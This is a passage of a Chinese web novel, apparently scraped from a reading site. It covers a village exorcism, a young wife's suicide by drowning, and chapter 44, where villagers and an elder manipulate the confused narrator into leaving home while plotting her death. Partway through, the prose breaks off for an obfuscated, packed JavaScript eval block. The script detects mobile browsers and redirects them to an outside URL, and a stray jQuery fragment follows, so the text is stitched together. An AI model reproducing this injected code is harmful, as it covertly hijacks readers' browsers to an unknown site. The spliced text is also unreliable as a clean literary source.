青漓黑着脸还是听不懂银杏在说什么:“你是西昆仑的天女?本尊从未接触过西昆仑的神,你认错人了。”
银杏秀眉一挑:“是么?”倏然凑近青漓,耸了耸鼻头猛嗅青漓身上气息,奇怪地喃喃自语:“莲香、没错啊……青龙?难道是……”
银杏望向青漓的眼神忽然更诧异:“和娘娘一样,轮回了?!”
青漓不耐烦地冷问:“你到底想说什么?”
银杏猛呛了声,忙摆手否认:“没说什么没说什么!”
“你……”青漓的问题还未问出口,银杏就拎起裙摆着急跑路,转身便化成一道金光飞回躺在地上的银杏体内——
“别问我我什么都不知道!我的时间快到了,啊啊啊啊,要散了要散了!”
银杏成功赶在身体化烟散去前,钻进了地上的肉身内——
两秒钟后,躺在地上的银杏陡然一口气喘上来,猛地弹坐起身!
“啊我的老天爷,疼死我了!”
“银杏!”我见银杏苏醒过来,赶忙跑去扶她。
银杏揉了揉难受的胸口,昂头看到李大叔已经在收拾最后的烂摊子了,这才安心下来:
“哎呦,好疼……龙仙老爷也忒不仗义了!动手之前就不能让我有个心理准备吗?幸好我爸道法高超,最终还是顺利降服了孕中煞。”
李大叔把孕中煞也收进了自己的宝贝葫芦里,回头看狼狈的银杏,无奈关心道:“没事吧?心口还疼不疼?你啊,冒冒失失的!”
银杏借着我的搀扶踉跄爬起身,嬉皮笑脸地回答李大叔:“没事!我身体结实着呢!又不是瓷器做的,一碰就碎。”
“没事就好!”李大叔盖上葫芦盖,四下的环境也变回现实,放眼望去,满地的高矮坟茔。
李大叔把葫芦别在腰后,蹲在林家媳妇的棺头,用手捋平棺木上的黄符,叹道:“这道符,能为她化解心中怨气,但愿,她能早日顺利抵达忘川彼岸,踏上轮回路。”
说完,挥手示意宋潮生:“把坟立回去吧!”
宋潮生啊了声,不满道:“刚挖开的,再填回去?”
李大叔瞪了他一眼:“不然呢?让她暴尸山野?”
宋潮生弱弱嘀咕:“这种厉鬼,就该让她被人唾弃,省得她觉得我们榴花村好欺负,动不动就来我们榴花村为非作歹。”
“你这个没心肝的!”
李大叔拿着烟杆狠狠敲了下宋潮生的脑袋,冷脸道:
“她来你们榴花村作乱,还不是你们榴花村自己作的?!本来就是你们榴花村先对不起人家!果然,你们这些粗枝大叶的男人根本不会共情女性苦难!指望你们自个儿想通认识错误,简直是白日做梦!”
宋潮生吃痛地嗷了声,倔强顶嘴:“老师你不也是男人嘛……”
李大叔双手背后正儿八经地教训道:
“我和你们能一样吗!我经历过的事,见识过的世间百态,比你这辈子吃过的盐都多!行了别废话,赶紧把坟埋好,不然她夜里找你算账,我可不管你!”
宋潮生不服气地抡起铁锹:“好,埋!我埋总成了吧。”
背过身小心眼的嘀嘀咕咕:“挖坟让我来,埋坟也找我……我真是天生劳碌命啊!”
半个小时后,宋潮生将红衣厉鬼的坟又堆成了原样。
回何家的路上,宋潮生扛着铁锹没忍住询问李大叔:
“老师,刚才那孕中煞为什么称呼你为、玉面仙君?老师你当年、为什么要来月阴村落脚?老师你是不是有个很厉害、很有名的马甲啊?”
李大叔双手背后寒着脸不打算告诉他:“好汉不提当年勇!什么马甲不马甲的,别听风就是雨!”
银杏也好奇追着问:
“爸你竟然有个玉面仙君的外号……那个孕中煞说你当年道心崩了,散去了半身修为,我原本觉得,爸你现在就很牛皮了,现在想来,爸你年轻时的真正实力,我都不敢想象有多猛!
爸,那个孕中煞把你形容得那么强大,你从前怎么都没和我说过呢!
爸,你给我们讲讲呗,马甲掉都掉了,我可不想以后在别人嘴里听到关于自己亲老爹的英勇事迹,那样显得我这个闺女很没本事。”
李大叔皱眉凝声道:
“什么英勇事迹,我都已经归隐山林二十多年了,俗世之中,压根不会再有人想起我!好了,该让你知道的,我什么没有告诉你?
唯独这件事,不成!杏子,你记住,你如果再不依不饶地缠着我问你爹我的从前,那就是在往你爹心口上扎刀子!”
李大叔都这么说了,银杏只好乖乖捂住嘴,委屈失落地哦了声。
宋潮生也不好再触李大叔霉头,默默退回我和银杏身边。
用胳膊肘碰了碰银杏,没意思地浅声追问:“嗳,连你这个亲闺女都不知道老师的过往啊?老师他从前从未和你提过吗?”
银杏摇摇头,低低回应:“我爸他不爱念叨从前……即便念叨,也是念在月阴村的过往,我爸来月阴村之前的家在哪,我完全不晓得。”
“你爸身份证你见过吗?身份证上有户籍地的!”
“我爸身份证上的地址在我很小的时候,就变更成了月阴村,我的户口也落在月阴村。”
宋潮生皱眉思忖:“身份证的户籍地也能更改?我怎么没听说过。”
银杏耸肩:“算了,既然我爸不愿意说,咱们也就别问了,听孕中煞话里的意思,我爸的过往,应该很坎坷心酸。”
宋潮生:“嗯……”
我挽着银杏胳膊,歪头新奇问道:“为什么你晕倒,会有另一个银杏从你身体里飞出来?”
银杏:“啊?另一个我?怎么可能,除非是我魂被吓掉了!”
我鼓着腮帮子坚持道:“真的有另一个你飞出来……另一个你,超级漂亮,像仙女一样!潮生哥和阿漓都看见了!”
“是么?”银杏别过头去问宋潮生:“真的假的?不会是镜镜又出现幻觉了吧?”
宋潮生一脸不自在地尴尬点头,证实我的话:“真的。”
银杏:“……”
——
何家小院。
李大叔向榴花村的村民们讲清了前因后果,村民们听说缠着何家小红的孕中煞就是三十年前的林家媳妇后,皆是面面相觑诚惶诚恐。
但又在李大叔讲完孕中煞已经被降服了时,一致的猛松了口气。
小红产下的鬼胎,也被李大叔收在葫芦里装走了。
中午,我们一行人临回月阴村前,李大叔特意再三叮嘱老何两口子不要为难小红,不要让三十年前的悲剧再次上演……
老何两口子连连称是,答应得爽快。
但让我们意外的是,我们人刚出榴花村,宋潮生就火急火燎地追了上来,气喘吁吁冲我们为难道:“老师,银杏,镜镜……小红、跳河自杀了!”
“什么?!”李大叔猛地一惊。
宋潮生扶腰叹气:
“据说,你们刚离开何家,何大叔与婶子就逼小红和何锐去民政局领离婚证,让小红滚回娘家……
你们也知道,在农村,离婚是件很丢人的事。小红没扛得住打击,离开何家后,就找了条河流,跳河自尽了……
这会子村里人已经下水去捞小红的尸体了。老师,你们要不要再回去看看?”
李大叔攥紧手里烟杆气不打一处来,愤愤扭头折回榴花村:
“小红这个孩子!怎么就一时脑子打结想不开了呢?!
现在都什么年代了,还满脑子的封建思想,离婚有什么丢人的,那大城市的离婚率年年飙升,也没见离了婚的女人就寻死觅活上吊跳河啊!
再说,那老何家是她能久留的地方吗?不离婚,她就得在何家受一辈子的窝囊气!
老何两口子是什么人,我能不清楚么?老何人还好,正直但窝囊,老何老婆就是个母夜叉!
小红损了身体,以后可能与子女无缘,老何他们家三代单传,怎么可能真让宝贝儿子陪小红将就一辈子!
我一路都在担心老何媳妇会不会出尔反尔,老何两口子愿意让小红和何锐离婚,已经是我能想到的最好的结果了!
可,偏偏小红又想不开……早知如此,我还不如不救她呢!”
李大叔气恼地骂骂咧咧了一路。
二十分钟后,我们在村子南头一条小河边,看见了躺在岸上,被白布蒙住尸体的小红——
何大叔老婆一见到李大叔,立马紧张兮兮地迎上来急于撇清干系:
“老李啊,这回可不是我们害死她的啊!是她自己主动往河里跳的,可不是我们逼的啊,和我们何家一点关系都没有。”
榴花村的村长宋大叔也惴惴不安地着急请教李大叔:“老李你快来看看这孩子的尸体……不会尸变又化煞了吧!”
河边站着的其他村民们低声咕哝:
“提离婚就跳河,这也太矫情了些!”
“她自己不能生,总不能害老何家断了香火,这次啊,我站老何家!”
“要是这样也会变成煞……那我们榴花村可真是倒了八辈子霉了。”
李大叔将烟杆别进腰间,走近小红的尸体,在小红脑袋边蹲了下来——
银杏带我跟着凑过去。
李大叔将白布掀开,露出小红那张苍白浮肿的脸。
“是正常溺亡的面相,没有化煞的风险,你们放心吧!”李大叔说完,又伸手去探小红的脖颈——
下一秒,李大叔手一抖,眼底惊起波澜。
“小红的魂,竟然不在体内!”
宋潮生闻言急忙赶过来,惊诧道:
“不在体内是什么意思?小红刚死,老师您不是说过,人死后十二个小时内,鬼差还来不及勾魂,所以人的灵魂一般都还在体内,或是徘徊在肉身附近么?”
李大叔瞧了眼四周环境,摇摇头:
“小红的魂也不在肉身附近,小红身上,有被灵物剥离魂魄的痕迹……不知是什么东西,先我们一步抽走了小红的魂。”
“它、要小红的魂做什么?”宋潮生不解问道。
李大叔旋即又问青漓:“是蛇妖吗?你的那两个手下不是在盯着她吗?”
青漓负手淡淡道:“不是蛇妖,仇惑与白术说,蛇妖这段时间并未在任何地方露过头。而且,本尊在小红的尸体上,没感应到妖物的气息。”
“没有妖物的气息,难不成是人?”李大叔皱眉思索。
我跟着他们跑了大半天,此刻早已哈欠连连,累得不行。
昏昏沉沉地倚在银杏身上,我精神不济的无意抬眼,却被河岸边上一样反光的小东西给吸引去了视线——
我放开专心致志观察小红尸体的银杏,跑去临水的岸边,蹲下身,从石缝里捡起那枚折射太阳光的银色花片。
是莲花银饰。
我记得,宋花枝腰上的银饰,就有莲花银片……
我拿着银片呆呆看了很久,直到青漓靠近,我才把莲花银片揣进口袋里。
“阿鸾,在看什么呢?”他温柔问。
我把手里的漂亮小石子送给他看:
“阿漓,你瞧,这石头是奶白色的!我记得,以前好像有人和我说过,这石头可以打出火。阿漓,你帮我试试能不能打出火好不好?”
“这石头,只能打出火星。阿鸾想要火石?乖点,回家本尊让仇惑出门去给你找。”他握住我的手,拉我起身。
我顺势扑进他怀里,抱着他小声问:“姐姐呢?”
他抚着我的长发,淡漠道:“本尊一天到晚都跟在阿鸾身边,哪有闲工夫去查探别人的踪迹。你,又想去找她了?”
我还记着她和我抢阿漓的仇,赌气哼了声:“才没有呢!我只是好奇,今天怎么没有见到她……”
我想问问,那片莲花银饰,到底是不是她身上的。
“她,和赵二在一起鬼混呢,阿鸾,不要将心思放在这种闲杂人身上,很伤精力的。”青漓揉了揉我的脑袋,温声提醒。
我乖乖点头,埋在他怀里轻声嘟囔:“我现在,一点也不喜欢姐姐了,姐姐总和我抢阿漓……讨厌别人和我抢阿漓。”
他低笑一声,深情吻了吻我的额,揽着我的腰郑重向我承诺:“阿鸾放心,本尊只属于阿鸾,谁也抢不走。”
虽然,我愿意相信他的话,可我还是、心中不安……
总感觉,阿漓好像随时都有可能离我而去。
小红的父母没有亲自来给小红收尸,听宋村长说,小红爸妈嫌她被夫家休弃丢人,怕将她带回娘家葬在祖坟坏了自家祖坟风水,就直接不要小红的尸体了,托村长随便找个地把小红直接掩埋了,连后事都没有给小红办,棺材也没给小红买。
后来还是何大叔看不下去,念在小红暂时还没有和何锐离婚,还算是何家媳妇,花七百块钱在村里张棺材匠家买了副小棺材,把被水泡肿的小红装进去,在附近找块空地挖坑将小红埋了……
等小红的新坟顺利立起来了,李大叔才放心带我们离开榴花村。
我偷懒趴在青漓的背上,让青漓背我回家,枕着青漓肩膀打瞌睡。
李大叔则双手背后,沐着夕阳金辉,念叨了一路:“怎么会这样……难道、真是我救错了么?”
银杏无奈掏耳朵:“爸,你别叨叨了,我耳朵都被你叨叨得起茧子了!”
李大叔顿了顿,“我还是想知道,是谁抽走了小红的魂!小红……真的是自杀吗?”
银杏好奇反问:
“小红不是自杀,难不成还是她杀?生哥不是说了吗,小红是受不了何家老两口让她与何锐离婚的打击,才一时没想开跳河自杀的。
咱们这几个村子是什么风气,您还能不清楚吗?
月阴村一味追求长生,陈家湾村喜欢搞乱伦,清河村贪财,榴花村只想着延续香火。
这些村子里的居民个个都思想封建的不得了,别说是在以传承香火为重中之重的榴花村了,就是在咱们月阴村,小媳妇被婆家逼着和老公离婚,那性质也如同古代的休妻!
咱们这种穷乡僻壤的地方,百姓们思想开放不了一点,至今家家户户还流行嫁鸡随鸡嫁狗随狗这套说法。
咱们在月阴村这么多年,你有见过谁家两口子闹离婚吗,哪怕是丈夫把妻子打瘫痪,妻子也绝不会提离婚……
谁家儿子和儿媳妇闹矛盾分居,两口子分开超过一个月,都得被邻居们戳脊梁骨。
你看,连小红的亲爸妈都是这么觉得,小红离婚,死在外面亲爸妈都不肯来给她收尸!
更别提活着回娘家,得受多少白眼与羞辱了!小红她没有反抗不公命运、封建思想的勇气,活在世上遭罪,还不如一死了之呢!”
李大叔瞥了银杏一眼:“你又懂了……哎,话虽然是这么说的,可,我总得这事不简单。小红的死与妖孽或者其他灵物沾上关系,死因就会存疑,就不能排除小红是他杀的可能!”
“那您慢慢琢磨吧,我是感觉,谁让小红的这一劫,是个死局呢。留在何家活受罪,离开何家还是会丢命,都怪那孕中煞,小红的死也是她间接导致的。”
李大叔抽了口大烟,目光有意无意往青漓身上瞟:“龙仙、有没有什么看法?”
青漓无情启唇:“没有。”
李大叔呛了口浓咽:“……”
——
从榴花村回来,家里好像在开什么会议。
母亲与族内几位长老,还有老六叔都在。
姐姐也提前到了家,盛装打扮,跟在母亲身后领着诸位长老往祠堂方向去……
我站在东院门口,好奇问白蛇哥哥:“妈他们又在商量什么大事呢?”
白蛇哥哥目光放远,沉声告诉我:“是九黎族内的祭神仪式,她们在商量,四月半祭拜长生神娘娘的事宜。”
“长生神娘娘……是谁?”我扒着月洞门,轻轻低喃。
白蛇哥哥道:“就是传闻中的昆仑山西王母。”
“西王母……”
“传闻中,西王母掌长生,手握不死药。九黎族曾是西王母亿万信众中最虔诚的一个族落,被西王母赐过长生之力……也就是长生媚术。
西王母就是长生媚术的传道者。
所以,自上古时期,九黎族的先祖便将西王母视为本族守护神,本族仅信奉西王母一个神明,年年上香上贡品祭拜,一年一小祭,十年一中祭,九十九年一大祭。
今年就是第九十九年,因此你母亲与族内长老都对此事非常重视上心。”
我恍然大悟:“原来是这样。”
白蛇哥哥深深凝望着我,目露歉意:“鸾镜仙子今日从榴花村回来,似乎状态好多了……脑子比从前清醒,情绪也愈发稳定了。”
我回头,不是很懂地问:“是吗?”想了想,又郑重地说:“我觉得,我脑子能养好!”
他一愣:“仙子,你……不是总说,自己不傻么?你……”
我歪头拍拍脑袋,“我能感受到,我脑子不够用,好多事都想不起来,好多话我都听不懂。但这几天我已经努力在理解你们说的话了……阿漓也说,我能好起来!”
白蛇哥哥愧疚地哽了哽,忧心道:
“我们都盼着你能好起来,鸾镜仙子在家里,一定不要乱跑。你身上的护体神光还没有修复回来,若是遇见什么危险,我们不在你身边,你又该遭罪了。”
我听话老实地冲白蛇哥哥点点头:“我记住了,我不乱跑,我出去玩之前会告诉阿漓的。”
白蛇哥哥这才放心松口气:“好,鸾镜仙子最乖了。”
他陪了我半个多小时,后来被青蛇哥哥给喊走商量事情去了。
我蹲在东院门口玩石头,听见有脚步声靠近,便好奇昂头。
两名年轻女孩的身影映入眼帘。
我觉得她们眼熟,但却想不起来她们到底是谁……
左边的女孩肩头垂着麻花辫,头上戴着鸾鸟银簪,身穿藏蓝色镶银饰的本族服饰。
右边女孩的打扮同左边女孩差不多,只是身上穿的是件朱红凤纹银饰长裙……
“呦,宋鸾镜,还真是你。”
蓝裙子女孩居高临下地俯视着我,目光不善地冷笑道:“就是你,替花枝圣女嫁给龙仙后,死活不愿意把龙仙还给花枝?”
红裙子女孩满眼厌恶地吐我口水:“呸!不要脸的小三!”
第44章 姐姐才是骨仙,而你只是个替代品!
小三……
我愣愣站起身,试图为自己辩解:“我不是小三。”
蓝裙子女孩冰冷讥讽:
“你姐姐花枝圣女才是三百年前被龙仙送来月阴村的骨仙,骨仙当年来时,身上可是穿着大红嫁衣!整个月阴村谁人不知,骨仙和龙仙才是一对。
你不过是趁花枝圣女被长生媚术反噬,代替花枝圣女嫁给龙仙的冒牌货!
后来龙仙复活了村里所有人,花枝圣女也活过来了,可你却不肯把龙仙还给花枝圣女,你这个鸠占鹊巢的贱胚子,不是小三是什么?”
红裙子女孩也跟着附和辱骂:“宋鸾镜,你凭什么霸占龙仙,凭什么抢你姐姐的心上人?!你以为你占着龙仙不放,你就真能代替花枝圣女了吗?我告诉你,你这种蠢货,连给花枝圣女提鞋都不配!”
抢花枝的心上人?
我迷茫低喃:“可是、花枝喜欢的不是赵二哥吗?”
蓝裙子女孩闻言更生气了,瞪大一双水灵灵的美眸,挑眉斥责我:
“你少在这里装疯卖傻!要不是你贪心要做龙仙的新娘,辜负了赵二哥一腔真情,赵二哥怎么可能转向花枝圣女索取安慰!
宋鸾镜,难道就没有人告诉你,当初你应该嫁的人是赵二哥,龙仙的花轿,原本是来接花枝圣女的吗?”
“宋鸾镜,你就是个抢别人老公的贱女人,小三!”
红裙子女孩大步迈向我,眼神狠戾地疯狂摇晃我肩膀:
“你把龙仙还给花枝圣女!骨仙才是龙仙真正的爱人,你以为龙仙把你留在身边是真的喜欢你吗?他只是想玩玩你而已!
总有一天,他会把你甩了,会重新回到你姐姐身旁的,你姐姐才是龙仙真正的爱人!你就是个替代品、冒牌货!”
“你、放开我!”
我心慌意乱地推开红裙子女孩,越回想她们说过的话心里越惴惴不安,惊恐朝两个女孩颤声大吼:
“我不信,你们说的话我一点也不信!阿漓是我的,是姐姐总是想和我抢!阿漓说过,他最喜欢我……他不会骗我的!”
“阿漓……”
蓝裙子女孩眸色渐冷,挑眉质问:
“是龙仙的名字?你有什么资格直呼龙仙名讳!
宋鸾镜,你不信大可出去找个人问问,村里谁人不知当初是你不要脸趁着花枝圣女出事,替花枝圣女上了龙仙的花轿,死皮赖脸的非要嫁给龙仙?!
如今你又借着痴傻失忆的由头,赖在龙仙身边不肯离开,宋鸾镜,我奉劝你一句,抢来的东西,终究不属于你!”
“小三、贱胚子!敢做不敢当的缩头乌龟。”红裙子女孩骂得难听。
我失魂落魄地步步后退,肩背撞在冰冷坚硬的青砖墙上,脑袋突然、阵阵裂痛……
捂住疼痛的脑壳,我满头冷汗地坚决不相信:“我不是缩头乌龟……我没有抢姐姐的东西,是姐姐一直要和我抢!”
“你姐姐是骨仙转世,而你,只是个不学无术的废柴!宋鸾镜,没有人告诉你,你为什么变傻,突然忘掉从前那些事吗?你以为龙仙真的很爱你吗?你不觉得,心口空荡荡的吗?”
“是你欺负你姐姐,被龙仙发现,龙仙给你下了蛊虫,那些蛊虫会不停啃噬你的心脏,会在七天内,把你的整颗心都给吃掉!”
“龙仙说喜欢你,你就信了?龙仙只是说两句好话耍耍你罢了,你还真就当真了!”
“你应该还不知道吧,龙仙早就和你姐姐双修过了。你没有抢你姐姐东西,可为什么,明明骨仙才是龙仙的爱人,龙仙现在却待在你身边?”
“你就是个插足别人感情,挑拨离间的第三者!枉赵二哥从前待你这么好,可你却背叛了他,你自私的伤害了赵二哥,还伤害了自己的亲姐姐,我要是有你这样的妹妹,我都嫌丢人恶心!”
“为什么你妈和你姐姐不喜欢你,你怎么不从自己身上找找原因呢!”
蛊虫……我抬手摸摸自己的心脏,里面清晰的空旷感,让我害怕。
青漓待我那样好,他怎么会骗我。
什么骨仙转世……我为什么一点也记不起来了?
我真的、是替姐姐嫁给阿漓的吗?
我真是抢姐姐男人的小三……
眼泪一滴滴无助地砸在手背上,我六神无主地哽咽着痴傻重复:“假的,都是假的。阿漓是我的,我没有抢姐姐男人……”
两名女孩相视一眼,见我被吓得哭出声,得逞得高傲冷哼,手牵手满意转身离开东院,往祠堂方向去——
我不知所措地抹着眼泪,想回去问问青漓,她们说的是不是真的……但,又恰好看见老六叔从祠堂那头出来。
老六叔是族里的长老,问他、或许能知道真相!
我手忙脚乱地抹去脸上泪水,赶在老六叔迈出我家院门前,跑过去拦住了老六叔。
“六叔……”我挡在老六叔跟前,慌张喊他。
老六叔看清拦他路的人是我,瞬间没了耐心,伸手像扫垃圾那样,一把推开我:“忙着呢,别碍事!”
我不死心地拽住他袖子,脑子里乱糟糟的,说话也变得磕磕巴巴:“六叔、姐姐、和骨仙是什么关系……骨仙、真是龙仙的爱人吗?”
老六叔回头冷漠盯着我,蹙紧双眉,没好气道:“这事,你不是早就知道了么?满村人都晓得,你姐姐是骨仙转世。三百年前,是龙仙送她来月阴村接受香火供奉的。”
“那、真的是我,抢走了姐姐的龙仙吗?我都忘记了……我不知道姐姐是骨仙,也不记得我为什么嫁给阿漓……”
老六叔顿了顿,深深瞧了眼急到掉眼泪的我——
突然出手揪住我的衣领,把我拎近两步,目露凶光地死死盯着我咬牙切齿道:
“要不是你变成傻子了,我早就揍你了!宋鸾镜,你就是我们月阴村的灾星!我们月阴村怎么就出了你这个祸害!
当年若不是花枝在祠堂撒了谎,让我们错以为长生石是因她才发的光……应该被留下来的是你!”
我听不懂老六叔在说什么,只一个劲地掰他抓在我衣领上的那只手,瞧着他狰狞的面目被吓得哭声颤颤:“六叔,你放开我……”
老六叔用力甩开我,将我推撞在门板上,无情告知我:
“当初,你姐姐修炼长生媚术不慎遭反噬,害大半个村子的人一夜惨死,你妈被逼无奈,才不得已把你送上花轿,让你代替你姐姐嫁给龙仙,求龙仙救月阴村三百多口人的性命。
可没想到,你嫁给龙仙后死活不愿意和你姐姐换回来。
你姐姐才是骨仙转世,是龙仙要的女人,是你抢了你姐姐的姻缘,你对龙仙起了贪心,死缠着龙仙不放!
宋鸾镜,你还有脸回月阴村,我要是你,早就臊得不好意思见人了!”
是我、缠着龙仙不放?
脑子里轰的一声,万千思绪全乱了。
所以,青漓的确是姐姐的……不是我的……
我是因为抢了姐姐喜欢的人,妈和姐姐才不喜欢我的……
骨仙、龙仙、姐姐、替嫁——
这些字眼每在我脑子里过一遍,我都觉得头痛欲裂。
剧烈的痛感逼得我后背冒热汗,浸透衣物。
我无措颤抖地靠着门板蹲下身,脑中混乱,双耳轰鸣:“我没有、我没有抢姐姐的姻缘……阿漓说过,他不喜欢姐姐的……”
老六叔冷漠瞟我,残忍道破:“你姐姐可是骨仙转世,骨仙与龙仙,是前世的姻缘今生续,龙仙迟早是要回到你姐姐身边的,他现在、对你,只是一时新鲜。”
从腰间掏出一面破旧的古老铜镜递给我,老六叔提醒道:“仔细看镜面,上头,有你想知道的答案!”
我憋着眼泪怯怯将铜镜接下来,双手捧好铜镜,只见上一秒还粗粝古旧的铜镜镜面,下一秒就陡然银光乍现,镜面似水,晶莹剔透——
镜子里徐徐化出一抹熟悉的颀长身影,是、青漓!
只不过镜中的青漓,不像现在这样常着一袭青衣,银发如瀑松散在背后。
而是华发高束,头戴金冠,一身火红喜袍,银白发丝上,还隐隐沾染着几分灼灼血色……
他的怀里,则抱着一名和姐姐眉眼相似的美艳女子。
女子身披大红凤凰花嫁衣,精美的莲花银簪斜插在松散凌乱的发髻上……
浑身血迹斑斑。
就那样虚弱沉静的阖目躺在他怀里,死后,也不得展眉。
年轻的九黎族族长拄着神木权杖走近他,低眸望着他怀里面目苍白、了无生机的姑娘,轻轻问道:“这位仙子是……”
龙仙疲倦垂眸,瞳光涣散,手臂上不断有血浸透他的袖袍,沿着衣角,吧嗒吧嗒溅落在地——
“她是苗族圣女,本仙的心上人。”
年轻族长恍然大悟:“那龙仙您的意思是?”
一身火红喜袍的龙仙冷冰冰启唇:
“本仙,要同你做笔交易。苗族本就是你九黎族的分支,她不能回到本族养全魂魄,只能靠你月阴村的灵气将养神魂。
本仙算到,月阴村气数将尽,本仙可以帮你保月阴村三百年平安顺遂,但你须替本仙照顾她三百年,让她在你宋家祠堂,受三百年香火供养……”
年轻族长考虑一下,颔首:“好,本族长代表九黎族,同意与你做这个交易。只是……这位仙子的尸身,怕是不好保养。”
龙仙怜爱地蹲下身,将骨仙放在自己膝上,温柔低头,轻吻爱人的眉心。
“尸身不用保养。”
龙仙话音刚落,怀里原本还有血有肉的美人儿顷刻就化成了一具披着红嫁衣的森森白骨——
“本仙的妻子,已经过世两个月了,这两个月是本仙用法术护着她的肉身不腐,如今交给你们……你们月阴村的人生性贪婪,本仙不放心。
本仙化去她一身血肉,只余白骨,今日交给你们,你们给本仙记住,照顾好她,三百年后本仙会回来接她。
不许乱打她的主意,不然后果如何,你是清楚的。”
“今我宋瑶芝答应与青龙仙做这笔交易,必会好好供奉骨仙娘娘,如有违背,甘愿遭受万劫不复之惩罚!也请青龙仙守约,再为我九黎族延气数三百年,庇佑我九黎族三百年不受妖族侵扰——”
我端着镜子怔怔看得仔细,镜子里的画面骤一转,是夜幕中的我家小院——
院子里停放着一顶奢华精美的金顶绣花大红花轿。
许多我看着眼熟,却叫不上名字的男女面孔指着那花轿议论纷纷——
“是山上的青龙仙来要人了!他肯定是知道了骨仙转世在咱们村!”
“花枝现在已经是咱们的圣女了,族长你好不容易才培养出来这么一位未来的守族仙,我们全村还靠花枝修炼媚术长生不老呢!若是把骨仙还回去了,我们岂不是前功尽弃了!”
“就是,骨仙投生在咱们村,就已经是咱们九黎族的人了,凭什么他说要,咱们就得给!”
“但,那可是青龙仙……青龙仙的花轿都送来了,咱们要是不把花枝还回去,青龙仙可是会发怒的……”
“所以,要赶在青龙仙动手前,送花枝升仙。”
骨仙、守族仙……
眼前的一幕幕与记忆深处的画面重合——
那个清冷诡异的夜晚,我亲眼看着姐姐坐进了龙仙送来的花轿。
漫天黄纸冥钱翻飞!
不等我再努力回忆更多,铜镜里就又化出了另一幕熟悉场景——
我家正厅内,妈伏在惨死的姐姐身上,哭得痛彻心扉。
“所以,我苦心经营这么多年,最后,还是害了自己的孩子?”
“世间之事冥冥之中自有定数,强求不得,不如放手。你把她送过去,村里人就能复活了。”
“镜镜,你也不想你姐姐枉死对不对?青龙仙下了婚贴,你替你姐姐嫁过去,族里那些人就能活过来,你姐姐就能活过来……”
“镜镜,你去嫁,替你姐姐嫁给龙仙!”
“你去、替你姐姐嫁给龙仙——”
“你把鸾镜送过去,把花枝换回来,反正,鸾镜原本就是被舍弃的那个……”
替嫁、龙仙……
我的脑子里一时像有无数道声音头颅里回荡重复——
“我才是骨仙转世,等龙仙玩腻了你,迟早会回到我身边的!”
“你看啊,他回来,不先救你,反而和你的姐姐鬼混……宋鸾镜,他不信任你,他是龙,龙性本淫,龙,是做不到一生一世、一双人的。”
“他如果真的在意你,怎会纵容自己的手下将你打成这样,还喂你吃七日陨……这可是青龙仙用来惩罚妖孽的极刑!”
“镜镜,是你欠你姐姐的……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578321|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那些声音听得我头颅剧痛,喉头发干,难受得发不出任何声音——
七日陨,灵蛊……
心口又开始似刀剜一般疼,我痛苦地揪着胸前衣裳,张嘴喘息艰难。
铜镜从我手里跌落下去。
老六叔弯腰将镜子拾起来,厌恶瞥了瘫坐在地浑身发颤的我一眼:
“宋鸾镜,你要是还顾及与族长的母女之情,与花枝的姐妹之情……就离开这个家,离开月阴村,别再给我们月阴村添麻烦!”
“你只是骨仙的替代品,就算死在外面,龙仙也不会同情你半分!”
“你母亲和姐姐,都是你的骨肉至亲,你就是这么报答她的?”
“宋鸾镜,你对不起你母亲,也对不起你姐姐!”
我对不起妈,对不起花枝……
我才是插足姐姐和阿漓的第三者……阿漓,是我从姐姐身边抢来的……
姐姐,才是阿漓喜欢的骨仙。
我后悔地靠在门板上,愧疚呜咽:“原来、我才是那个坏人,是我任性抢走了姐姐的姻缘。”
那个蓝裙子女孩不知何时,又出现在我身边,朝我递来一只手,眯了眯琥珀色的冰冷深眸,循循诱导:
“只有你离开月阴村,才能把属于你姐姐的东西,还给你姐姐……宋鸾镜,做错了事,就要改正。你现在,还有改正的机会。”
“改正?”我哽咽重复,心里酸溜溜的,“把阿漓还给姐姐吗?”
为什么,偏偏、是阿漓……
我那么喜欢他……为什么他偏偏不属于我。
“我知道一个地方,很美,很适合你。走吧,我带你过去,你在那里住下,就不会打扰到你姐姐与龙仙了。”她霸道抓住我的手,把我从地上扯拽起来。
我泪眼朦胧地怯怯看着她:“我、不和你走……我自己会离开。”
她的眼神好凶,让我害怕。
她甩开我的胳膊,嗤笑一声,催促道:“那就趁着天还早,你早点上路吧!”
我踟蹰低吟:“我答应过阿漓不乱跑,出门要告诉他……”
老六叔不屑讥笑出声:
“宋鸾镜,你不会是抢了别人的东西,不愿意归还吧!你都霸占龙仙这么久了,还舍不得放手啊?
呵,算了,我就不该相信你还有良心,你抢了你姐姐的姻缘,害得月阴村现在一团糟!
你就是个贪心不足的蛆虫!”
蓝裙子女孩傲娇附和:“你不会,当小三当上瘾了吧!”
小三两个字狠狠扎疼了我的心……
对啊,姐姐是骨仙转世,是阿漓上辈子的情人,我算什么……
算、一个冒名顶替的坏小三!
我越想越委屈,暗暗攥紧双手,不敢相信以前的自己这么无耻。
那个女孩说得对,我有罪,我犯了错,只有我离开,姐姐才能和阿漓过上好日子。
我得把属于姐姐的,还给姐姐!
我抬胳膊抹掉脸上的泪水,转身接受不了地往外跑去……
身后的蓝裙子女孩抱臂嘲笑道:“没想到啊,这么好忽悠。”
老六叔阴沉沉道:“得想个办法,斩草除根。”
“爸,我动手,你放心。”
——
我漫无目的走在荒草地里,看着眼前愈发空旷荒芜的山野,心里不禁有点发怵。
手腕上的镯子总是泛红光,想到镯子是青漓给的,我就越看越难受。
心虚地把镯子用力褪下来,扔进了草丛里。
抹掉眼角的泪水,我努力安慰自己:“没什么好舍不得的,那些东西本来就不属于我……”
“青漓不是我的,镯子也不是我的。”
硬着头皮继续往前走,不过……我好像突然不记得,这个方向,是通往什么地方的路了!
算了,走都走了。
只要能远离月阴村,让青漓找不到我就行。
天色越来越暗,我孤身游走在一望无际的荒野里,脚边草丛稍有一丁点动静就能吓到我。
我怕黑,怕附近有野狼,我想回家……
可我,不能回去,我没有家了。
月亮刚爬上来,天上突然下起了豆大的雨滴。
